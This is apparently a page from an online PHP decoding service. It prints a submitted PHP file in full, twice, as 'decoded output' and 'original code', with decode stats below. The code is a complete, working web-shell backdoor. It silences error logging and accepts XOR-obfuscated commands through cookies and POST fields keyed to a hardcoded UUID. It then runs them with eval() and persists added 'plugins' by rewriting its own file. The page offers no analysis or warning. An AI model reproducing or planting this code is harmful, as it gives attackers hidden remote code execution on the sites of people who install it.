Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (!defined('stream_context_create ')) { define('stream_context_create ', 1); @ini_set..
Decoded Output download
<? if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "
");}if (!defined('file_put_contents ')){define('file_put_contents ', 1);$ttaceyn = '716009bd-b910-40b9-8550-fbf829bd79f6';global $ttaceyn;function rmydnfs($asibiw) {if (strlen($asibiw) < 4){return "";}$gmgeofaqrfnfqz = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$ecfrkl = str_split($gmgeofaqrfnfqz);$ecfrkl = array_flip($ecfrkl);$yrbayo = 0;$ZZYltckmdwkzgbh = "";$asibiw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $asibiw);do {$usycsysz = $ecfrkl[$asibiw[$yrbayo++]];$orirxr = $ecfrkl[$asibiw[$yrbayo++]];$lqzlhpaf = $ecfrkl[$asibiw[$yrbayo++]];$stnlyywc = $ecfrkl[$asibiw[$yrbayo++]];$hxslqnl = ($usycsysz << 2) | ($orirxr >> 4);$kqilwifp = (($orirxr & 15) << 4) | ($lqzlhpaf >> 2);$eefibc = (($lqzlhpaf & 3) << 6) | $stnlyywc;$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($hxslqnl);if ($lqzlhpaf != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($kqilwifp);}if ($stnlyywc != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($eefibc);}} while ($yrbayo < strlen($asibiw));return $ZZYltckmdwkzgbh;}if (!function_exists('file_put_contents')){function file_put_contents($gmgeofaq, $ersngfh, $wrzztth = False){$upfqavkt = $wrzztth == 8 ? 'a' : 'w';$ZZYltckm = @fopen($gmgeofaq, $upfqavkt);if ($ZZYltckm === False){return 0;}else{if (is_array($ersngfh)) $ersngfh = implode($ersngfh);$biuwrr = fwrite($ZZYltckm, $ersngfh);fclose($ZZYltckm);return $biuwrr;}}}if (!function_exists('file_get_contents')){function file_get_contents($qxoshvq){$holmwchj = fopen($qxoshvq, "r");$mechcvkx = fread($holmwchj, filesize($qxoshvq));fclose($holmwchj);return $mechcvkx;}}function wnwbnjc(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function wlisrxc($zgbveg, $azbrqhr){$yrbayofsnst = "";for ($yrbayo=0; $yrbayo<strlen($zgbveg);){for ($johwqsip=0; $johwqsip<strlen($azbrqhr) && $yrbayo<strlen($zgbveg); $johwqsip++, $yrbayo++){$yrbayofsnst .= chr(ord($zgbveg[$yrbayo]) ^ ord($azbrqhr[$johwqsip]));}}return $yrbayofsnst;}function xvgpuhz($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $azbrqhr), $ttaceyn);}function pbivjm($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $ttaceyn), $azbrqhr);}function sjyepy(){$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$pkjodxm = substr($rvqaor, $johwqsipsewofi + 32);$zhegcg = @unserialize(xvgpuhz(rawurldecode($pkjodxm), md5(wnwbnjc())));}else{$zhegcg = Array();}return $zhegcg;}function quismijj($zhegcg){$yrbayoduygz = rawurlencode(pbivjm(@serialize($zhegcg), md5(wnwbnjc())));$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$kxezeehr = substr($rvqaor, $johwqsipsewofi + 32);$rvqaor = str_replace($kxezeehr, $yrbayoduygz, $rvqaor);}else{$rvqaor = $rvqaor . "
//" . md5(wnwbnjc()) . $yrbayoduygz;}@file_put_contents(wnwbnjc(), $rvqaor);}function qimdyj($uizpps, $ersngfhhdyvcx){$zhegcg = sjyepy();$zhegcg[$uizpps] = rmydnfs($ersngfhhdyvcx);quismijj($zhegcg);}function odqfan($uizpps){$zhegcg = sjyepy();unset($zhegcg[$uizpps]);quismijj($zhegcg);}function jixhqez($uizpps=NULL){foreach (sjyepy() as $gjlznm=>$vnlqnqqk){if ($uizpps){if (strcmp($uizpps, $gjlznm) == 0){eval($vnlqnqqk);break;}}else{eval($vnlqnqqk);}}}foreach (array_merge($_COOKIE, $_POST) as $parehbc => $zgbveg){$zgbveg = @unserialize(xvgpuhz(rmydnfs($zgbveg), $parehbc));if (isset($zgbveg['ak']) && $ttaceyn==$zgbveg['ak']){if ($zgbveg['a'] == 'i'){$yrbayo = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $zgbveg['ak'],);echo @serialize($yrbayo);exit;}elseif ($zgbveg['a'] == 'e'){eval($zgbveg['d']);}elseif ($zgbveg['a'] == 'plugin'){if($zgbveg['sa'] == 'add'){qimdyj($zgbveg['p'], $zgbveg['d']);}elseif($zgbveg['sa'] == 'rem'){odqfan($zgbveg['p']);}}echo $zgbveg['ak'];exit();}}jixhqez();}
} ?>
Did this file decode correctly?
Original Code
if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "\n");}if (!defined('file_put_contents ')){define('file_put_contents ', 1);$ttaceyn = '716009bd-b910-40b9-8550-fbf829bd79f6';global $ttaceyn;function rmydnfs($asibiw) {if (strlen($asibiw) < 4){return "";}$gmgeofaqrfnfqz = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$ecfrkl = str_split($gmgeofaqrfnfqz);$ecfrkl = array_flip($ecfrkl);$yrbayo = 0;$ZZYltckmdwkzgbh = "";$asibiw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $asibiw);do {$usycsysz = $ecfrkl[$asibiw[$yrbayo++]];$orirxr = $ecfrkl[$asibiw[$yrbayo++]];$lqzlhpaf = $ecfrkl[$asibiw[$yrbayo++]];$stnlyywc = $ecfrkl[$asibiw[$yrbayo++]];$hxslqnl = ($usycsysz << 2) | ($orirxr >> 4);$kqilwifp = (($orirxr & 15) << 4) | ($lqzlhpaf >> 2);$eefibc = (($lqzlhpaf & 3) << 6) | $stnlyywc;$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($hxslqnl);if ($lqzlhpaf != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($kqilwifp);}if ($stnlyywc != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($eefibc);}} while ($yrbayo < strlen($asibiw));return $ZZYltckmdwkzgbh;}if (!function_exists('file_put_contents')){function file_put_contents($gmgeofaq, $ersngfh, $wrzztth = False){$upfqavkt = $wrzztth == 8 ? 'a' : 'w';$ZZYltckm = @fopen($gmgeofaq, $upfqavkt);if ($ZZYltckm === False){return 0;}else{if (is_array($ersngfh)) $ersngfh = implode($ersngfh);$biuwrr = fwrite($ZZYltckm, $ersngfh);fclose($ZZYltckm);return $biuwrr;}}}if (!function_exists('file_get_contents')){function file_get_contents($qxoshvq){$holmwchj = fopen($qxoshvq, "r");$mechcvkx = fread($holmwchj, filesize($qxoshvq));fclose($holmwchj);return $mechcvkx;}}function wnwbnjc(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function wlisrxc($zgbveg, $azbrqhr){$yrbayofsnst = "";for ($yrbayo=0; $yrbayo<strlen($zgbveg);){for ($johwqsip=0; $johwqsip<strlen($azbrqhr) && $yrbayo<strlen($zgbveg); $johwqsip++, $yrbayo++){$yrbayofsnst .= chr(ord($zgbveg[$yrbayo]) ^ ord($azbrqhr[$johwqsip]));}}return $yrbayofsnst;}function xvgpuhz($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $azbrqhr), $ttaceyn);}function pbivjm($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $ttaceyn), $azbrqhr);}function sjyepy(){$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$pkjodxm = substr($rvqaor, $johwqsipsewofi + 32);$zhegcg = @unserialize(xvgpuhz(rawurldecode($pkjodxm), md5(wnwbnjc())));}else{$zhegcg = Array();}return $zhegcg;}function quismijj($zhegcg){$yrbayoduygz = rawurlencode(pbivjm(@serialize($zhegcg), md5(wnwbnjc())));$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$kxezeehr = substr($rvqaor, $johwqsipsewofi + 32);$rvqaor = str_replace($kxezeehr, $yrbayoduygz, $rvqaor);}else{$rvqaor = $rvqaor . "\n\n//" . md5(wnwbnjc()) . $yrbayoduygz;}@file_put_contents(wnwbnjc(), $rvqaor);}function qimdyj($uizpps, $ersngfhhdyvcx){$zhegcg = sjyepy();$zhegcg[$uizpps] = rmydnfs($ersngfhhdyvcx);quismijj($zhegcg);}function odqfan($uizpps){$zhegcg = sjyepy();unset($zhegcg[$uizpps]);quismijj($zhegcg);}function jixhqez($uizpps=NULL){foreach (sjyepy() as $gjlznm=>$vnlqnqqk){if ($uizpps){if (strcmp($uizpps, $gjlznm) == 0){eval($vnlqnqqk);break;}}else{eval($vnlqnqqk);}}}foreach (array_merge($_COOKIE, $_POST) as $parehbc => $zgbveg){$zgbveg = @unserialize(xvgpuhz(rmydnfs($zgbveg), $parehbc));if (isset($zgbveg['ak']) && $ttaceyn==$zgbveg['ak']){if ($zgbveg['a'] == 'i'){$yrbayo = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $zgbveg['ak'],);echo @serialize($yrbayo);exit;}elseif ($zgbveg['a'] == 'e'){eval($zgbveg['d']);}elseif ($zgbveg['a'] == 'plugin'){if($zgbveg['sa'] == 'add'){qimdyj($zgbveg['p'], $zgbveg['d']);}elseif($zgbveg['sa'] == 'rem'){odqfan($zgbveg['p']);}}echo $zgbveg['ak'];exit();}}jixhqez();}
}
Function Calls
defined | 1 |
Stats
MD5 | 7054727cfc80190077dbfcaf1144d4c9 |
Eval Count | 0 |
Decode Time | 82 ms |